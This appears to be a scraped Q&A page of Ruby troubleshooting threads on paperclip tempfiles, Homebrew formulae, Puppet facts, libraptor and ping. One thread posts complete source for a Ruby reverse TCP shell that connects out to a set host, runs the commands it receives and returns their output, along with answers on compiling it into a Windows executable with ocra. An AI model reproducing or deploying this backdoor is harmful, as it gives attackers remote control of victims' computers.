On Windows paperclip uses "file" command in Ruby Devkit, but gives error "Errno::EEXIST in ArticlesController#create" - windows

On Ubuntu paperclip file upload works with builtin file command. On Windows I did both install Ruby Devkit or file.exe in PATH variable: None of this helps! I get:
File exists # sys_fail2 - C:/Users/Lap127/AppData/Local/Temp/3e26e8e7aa5f147d0c6c7ae71efc007220170215-7312-1bv14wq.txt
Extracted source (around line #24):
def create
#article = Article.new(article_params) #line 24 here
if #article.save
redirect_to #article
How do I upload attachments with paperclip on windows without getting error, that the new file already exists?

Ran into a similar issue with this before, and it took a bit of searching, but here's where the problem was for tempfiles and Ruby on Windows.
C:\<path_to_ruby_file>\lib\ruby\<version>\tempfile.rb
Based on this post: https://www.ruby-forum.com/topic/187311
Our team was able to find the problem.
While they have a solution, we ended up writing our own.
You want (~Line 204):
def unlink
#----ADDED THIS LINE---#
return if #unlinked
#-----END ADDED LINE----#
begin
File.unlink(#tmpfile.path)
rescue Errno::ENOENT
rescue Errno::EACCES
# may not be able to unlink on Windows; just ignore
return
end
ObjectSpace.undefine_finalizer(self)
#unlinked = true
end
alias delete unlink
If you are still getting this error, let me know! Additionally, if you could check that the content of the tempfile is what you expect, that might be useful.

Related

Running bash scripts in Homebrew Formulae

I have created a brew formulae for one of my github repos. Now I want run 2 bash scripts that are present in the project.
My formulae looks likes this :
class UnifaiCore < Formula
##branch_name = "brew-installer"
desc ""
homepage "homepage_url"
url "project_url",
:branch => ##branch_name
version "v0.1.0"
license ""
def install()
puts "inside install"
puts %x(whoami)
venv_setup_script = "unifai-core-venv-setup.sh"
installer_script = "unifai-core-installer.sh"
bin.install venv_setup_script
exec("#{prefix}/bin/#{venv_setup_script}")
bin.install installer_script
exec("#{prefix}/bin/#{installer_script}")
# I have also tried system, %x() to run these bash scripts, have also tried adding source in front.
end
end
Now when ever I am trying to run this using brew install command. I am getting permission denied error.
Error: An exception occurred within a child process:
Errno::EACCES: Permission denied - /usr/local/Cellar/unifai-core/v0.1.0/bin/unifai-core-venv-setup.sh
I have tried following things till now :
How to fix homebrew permissions?
giving chmod 775 to the folder
I also checked which user it's using to execute the scripts but printing whoami. It's the same user that I have used to run these bash scripts in my terminal.

Ruby compile with ocra error - libssp-0.dll not found

I'm trying to compile a simple reverse TCP shell written in ruby with ocra.
The code is pretty simple:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
I build it with: ocra RevShell.rb --verbose
I get no error messages but whenever I try to run the .exe I get the following error: "C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found"
Am I missing something? Ocra should check the needed requirements by itself adding it to the exe by I still miss this dll.
Thanks for your help.
Maybe you don't have the libssp-0.dll file installed. You can download it from https://www.dll-files.com/libssp-0.dll.html then placing the file where the error says.
Use --dll ruby_builtin_dlls\libssp-0.dll.
See https://github.com/larsch/ocra/issues/168 for more details.
I faced the same problem with Ruby 2.6 and 2.7 (x64) installed by RubyInstaller.
In my case, libssp-0.dll surely exists at the ruby_builtin_dlls directory, but somehow it was not included in the compiled exe while other dlls in the same directory are all included.
For time being, I could evade this problem by using (x86) version of Ruby 2.7.

Why could `rb_sysopen` not be found anymore by the custom fact since the upgrade to Puppet4?

The following custom fact:
# returns latest packerversion, e.g. 0.10.1
Facter.add("latest_packerversion") do
setcode do
url="https://www.packer.io/downloads.html"
file = open("#{url}")
contents = file.read()
match = contents.match(/Latest\sversion:\s(.*)</)
match[1]
end
end
worked using puppet 3.6.2, but since the upgrade to 4.5.2 the following issue occurs:
Error: Facter: error while resolving custom fact "latest_packerversion":
No such file or directory # rb_sysopen - https://www.packer.io/downloads.html
Analysis
It seems that the rb_sysopen could not be found anymore for some reason (No such file or directory # rb_sysopen) since the upgrade to Puppet 4.
Puppet4 seems to use an embedded ruby version instead of the one installed on the host (Puppet3):
Puppet 4, both Facter 2.4 and CFacter 0.4, the latest Hiera and
Mcollective, as well Ruby 2.1.5, OpenSSL 1.0.0r, and our gem
dependencies.
Does rb_sysopen not exist in Ruby 2.1.5? No evidence was found.
Perhaps a change related to facts have occurred that could cause the issue? Nothing related was found in the release notes.
Question
Why could rb_sysopen not be found anymore by the custom fact since the upgrade to Puppet4?
Concise
I will include require 'open-uri' in both facts, but I do not understand why this is required since the upgrade to Puppet4
Verbose
Once require 'open-uri' is included in one of the custom facts the issue is solved.
# returns latest gitversion, e.g. 2.8.2
Facter.add("latest_gitversion") do
setcode do
require 'open-uri'
url="https://git-scm.com/downloads"
file = open("#{url}")
contents = file.read()
match = contents.match(/RelNotes.*((\d\.){2}\d)/)
match[1]
end
end
As soon as the require 'open-uri' has been commented out, the issue occurs again:
Error: Facter: error while resolving custom fact "latest_gitversion": No such file or directory # rb_sysopen - https://git-scm.com/downloads
Error: Facter: error while resolving custom fact "latest_packerversion": No such file or directory # rb_sysopen - https://www.packer.io/downloads.html
At the moment it is unclear what is causing the issue.

RDF-raptor-parser

I am trying to parse the rdf file but
I am getting error while executing following code in ubuntu
RDF::Reader.open("http://datagraph.org/jhacker/foaf.rdf") do |reader|
reader.each_statement do |statement|
puts statement.inspect
end
end
as
LoadError: Could not open library 'libraptor': libraptor: cannot open shared object file: No such file or directory. Could not open library 'libraptor.so': libraptor.so: cannot open shared object file: No such file or directory
I installed all the required gems:
rdf
rdf-raptor
ffi
rdf-json
rdf-trix
Please help me how to rectify this problem
I suggest you visit http://rdf.rubyforge.org/raptor/ and use the contact info mentioned there such as the mailing list. The error is because the C shared library libraptor.so cannot be found by ruby, so it must have been installed in a non-standard place. I am the author of Raptor but I do not know how rdf-raptor installed Raptor.

ruby ping for 1.9.1

I want to ping a site in my ruby code and saw that net-ping was a nice library to do this with. Unfortunately, when I tried to gem install net-ping I got the following error:
C:>gem install net-ping
ERROR: Error installing net-ping:
win32-open3 requires Ruby version < 1.9.0.
upon further research, I found that net-ping was not available yet for 1.9.X. Does anyone have a good piece of code that pings that they would be willing to share.
If by 'site' you mean website, then I wouldn't use ping. Ping will tell you if the host is up (unless a router or firewall is blocking ICMP), but it won't tell you if your web server or web app is responding properly.
If that's the case, I'd recommend Net::HTTP from the standard library, or any of the other HTTP libraries. One way to do it is:
def up?(site)
Net::HTTP.new(site).head('/').kind_of? Net::HTTPOK
end
up? 'www.google.com' #=> true
You can always do this and use regexps to parse the result or just check the exit status:
ping_count = 10
server = "www.google.com"
result = `ping -q -c #{ping_count} #{server}`
if ($?.exitstatus == 0) do
puts "Device is up!"
end
Ping return values that you can check against:
The ping utility returns an exit status of zero if at least one response was heard from the specified host; a status of two if the transmission was successful but no responses were received; or another value (from <sysexits.h>) if an error occurred.
http://www.manpagez.com/man/8/ping
For windows follow these instructions:
download djberg96-net-ping-net-ping-1.5.3-0-g9252076.zip from github.com/djberg96/net-ping
unzip, cd in the folder
gem build net-ping.gemspec
gem install net-ping-1.5.3-universal-mingw32.gem
gem install win32-security
to use it:
require 'net/ping'
p Net::Ping::TCP.new('www.google.com', 'http').ping?
p Net::Ping::TCP.new('foo.bar.baz').ping?
Use from source
gem "net-ping", :git => 'git://github.com/djberg96/net-ping.git'
# bundle install
Now you can use functions from it in 1.9.2

Resources